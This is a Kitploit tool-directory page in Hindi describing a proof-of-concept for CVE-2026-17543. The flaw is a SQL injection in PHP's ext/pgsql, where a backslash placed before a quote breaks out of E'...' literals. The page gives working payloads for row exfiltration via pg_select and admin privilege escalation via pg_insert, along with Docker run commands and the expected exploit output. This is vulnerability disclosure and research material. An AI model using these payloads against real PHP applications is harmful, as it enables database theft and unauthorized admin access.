Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout — CVE-2026-17543 के लिए PoC एक्सप्लॉइट: PHP ext/pgsql में बैकस्लैश ब्रेकआउट के माध्यम से SQL इंजेक्शन, PostgreSQL के लिए डेटा एक्सफ़िल्ट्रेशन और एडमिन विशेषाधिकार-वृद्धि पेलोड के साथ। | Kitploit
उपकरण/GitHubGitHub/hunt-benito/e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षाडेटाबेस सुरक्षालैब और अभ्यास
GitHubhunt-benito/e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

e-is-for-exploit-cve-2026-17543-php-pgsql-sql-injection-backslash-breakout

CVE-2026-17543 के लिए PoC एक्सप्लॉइट: PHP ext/pgsql में बैकस्लैश ब्रेकआउट के माध्यम से SQL इंजेक्शन, PostgreSQL के लिए डेटा एक्सफ़िल्ट्रेशन और एडमिन विशेषाधिकार-वृद्धि पेलोड के साथ।

रिपॉजिटरी देखें
11251 महीना पहलेअभी तक समीक्षित नहीं

CVE-2026-17543 — PHP ext/pgsql में SQL इंजेक्शन, E'...' बैकस्लैश ब्रेकआउट के माध्यम से

CVE-2026-17543 (CVSS 9.8 क्रिटिकल, CWE-89) के लिए प्रूफ ऑफ कॉन्सेप्ट — PHP के प्रोसीजरल PostgreSQL एक्सटेंशन में SQL इंजेक्शन भेद्यता।

भेद्यता सारांश

pg_insert(), pg_select(), pg_update(), pg_delete() और pg_convert() सभी स्ट्रिंग मानों को php_pgsql_convert() के माध्यम से भेजते हैं, जो:

  1. मान को libpq के PQescapeStringConn() से एस्केप करता है — जो standard_conforming_strings = on (9.1 से PostgreSQL का डिफ़ॉल्ट) होने पर ' को '' में दोगुना कर देता है और \ को अछूता छोड़ देता है (एक मानक '...' लिटरल के लिए सही)।
  2. एस्केप किए गए परिणाम को php_pgsql_add_quotes() से एक सादे '...' के बजाय एस्केप-स्ट्रिंग कॉन्स्टेंट E'...' में लपेटता है।

E'...' के अंदर, बैकस्लैश एक एस्केप कैरेक्टर होता है, इसलिए क्वोट से पहले रखा गया \ क्वोट-डबलिंग को निष्क्रिय कर देता है: \' एक शाब्दिक ' बन जाता है, और दूसरा क्वोट — जिसे एस्केपर ने दोगुने लिटरल के रूप में वहाँ रखा था — अब स्ट्रिंग को समय से पहले समाप्त कर देता है। इसके बाद की हर चीज़ कच्चा, इंजेक्ट किया गया SQL है।

आधिकारिक फिक्स (कमिट ab048bd83b57) केवल एक कैरेक्टर का है: E'...' के बजाय '...' उत्सर्जित करना।

प्रभावित संस्करण

ब्रांचअसुरक्षितसुधारित
PHP 8.2< 8.2.338.2.33
PHP 8.3< 8.3.338.3.33
PHP 8.4< 8.4.248.4.24
PHP 8.5< 8.5.98.5.9

प्रभावित नहीं: pg_query_params() (वास्तविक पैरामीटर बाइंडिंग) और PDO_PGSQL प्रीपेयर्ड स्टेटमेंट / PDO::quote() — ये भिन्न कोड पाथ का उपयोग करते हैं जो php_pgsql_add_quotes() को कभी कॉल नहीं करते।

पेलोड

zzz\' OR 1=1 --

(सिंगल क्वोट के ठीक पहले एक बैकस्लैश)

  • असुरक्षित बिल्ड ... WHERE "name"=E'zzz\'' OR 1=1 --' उत्सर्जित करता है → OR 1=1 SQL के रूप में पार्स होता है → हर पंक्ति लौटाता है।
  • पैच किया गया बिल्ड ... WHERE "name"='zzz\'' OR 1=1 --' उत्सर्जित करता है → बैकस्लैश सामान्य होता है, इसलिए OR 1=1 -- स्ट्रिंग लिटरल के अंदर समा जाता है → कुछ मेल नहीं खाता।

एक दूसरा पेलोड (eve\', true) --) pg_insert() के माध्यम से प्रिविलेज एस्केलेशन प्रदर्शित करता है, जो admin कॉलम को true पर बाध्य कर देता है।

फ़ाइलें

फ़ाइलविवरण
poc.phppg_select डेटा-एक्सफिल्ट्रेशन और pg_insert प्रिविलेज-एस्केलेशन दोनों वेरिएंट प्रदर्शित करता है; उत्पन्न SQL को प्रिंट करता है ताकि E'...' टोकन दिखाई दे
Dockerfileext/pgsql के साथ एक असुरक्षित PHP CLI इमेज (php:8.4.23-cli) को पिन करता है
docker-compose.ymlPostgreSQL 16 + असुरक्षित PHP कंटेनर चालू करता है और poc.php चलाता है

क्विक स्टार्ट (Docker)

docker compose up --build --abort-on-container-exit

एक असुरक्षित बिल्ड पर अपेक्षित आउटपुट

PHP version:              8.4.23
standard_conforming_strings: on
----------------------------------------------------------------------

[1] pg_select() data exfiltration
    payload (runtime): zzz\' OR 1=1 --
    generated SQL:
      SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
    rows returned: 2
    [!] INJECTION - leaked every row in the table

[2] pg_insert() privilege escalation
    name payload (runtime): eve\', true) --
    generated SQL:
      INSERT INTO "users" ("name","admin") VALUES (E'eve\'', true) --','f')
    inserted row admin flag: 't'
    [!] INJECTION - admin column forced to TRUE

Done.

पैच किए गए बिल्ड पर उत्पन्न SQL में '...' होता है (E के बिना), [1] rows returned: 0 / no injection रिपोर्ट करता है, और [2] admin flag: 'f' रिपोर्ट करता है।

Docker के बिना चलाना

PGCONN को किसी भी PostgreSQL की ओर इंगित करें और एक असुरक्षित PHP के साथ चलाएँ:

PGCONN="host=127.0.0.1 port=5432 dbname=test user=test password=test" php poc.php

आवश्यकताएँ

  • ऊपर दी गई रेंज में एक असुरक्षित PHP बिल्ड, जिसे ext/pgsql (--with-pgsql / pgsql एक्सटेंशन) के साथ कंपाइल किया गया हो।
  • कोई भी PostgreSQL (9.1+, यानी standard_conforming_strings = on वाला)।

टियरडाउन

docker compose down -v

⚠️ सुरक्षा सूचना

यहाँ उपयोग की गई PHP इमेज, परिभाषा के अनुसार, CVE-2026-17543 के लिए अनपैच्ड है। इसे केवल एक पृथक, डिस्पोज़ेबल कंटेनर में चलाएँ, और काम समाप्त होने पर docker compose down -v करें। इस PoC को कभी भी किसी ऐसे डेटाबेस की ओर इंगित न करें जिसकी आपको परवाह है।

संदर्भ

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-17543
  • GitHub Advisory GHSA-7qpv-r5mr-78m4: https://github.com/php/php-src/security/advisories/GHSA-7qpv-r5mr-78m4
  • फिक्स कमिट: https://github.com/php/php-src/commit/ab048bd83b578119cf81b456526d50498421d617
टूल डाउनलोड करें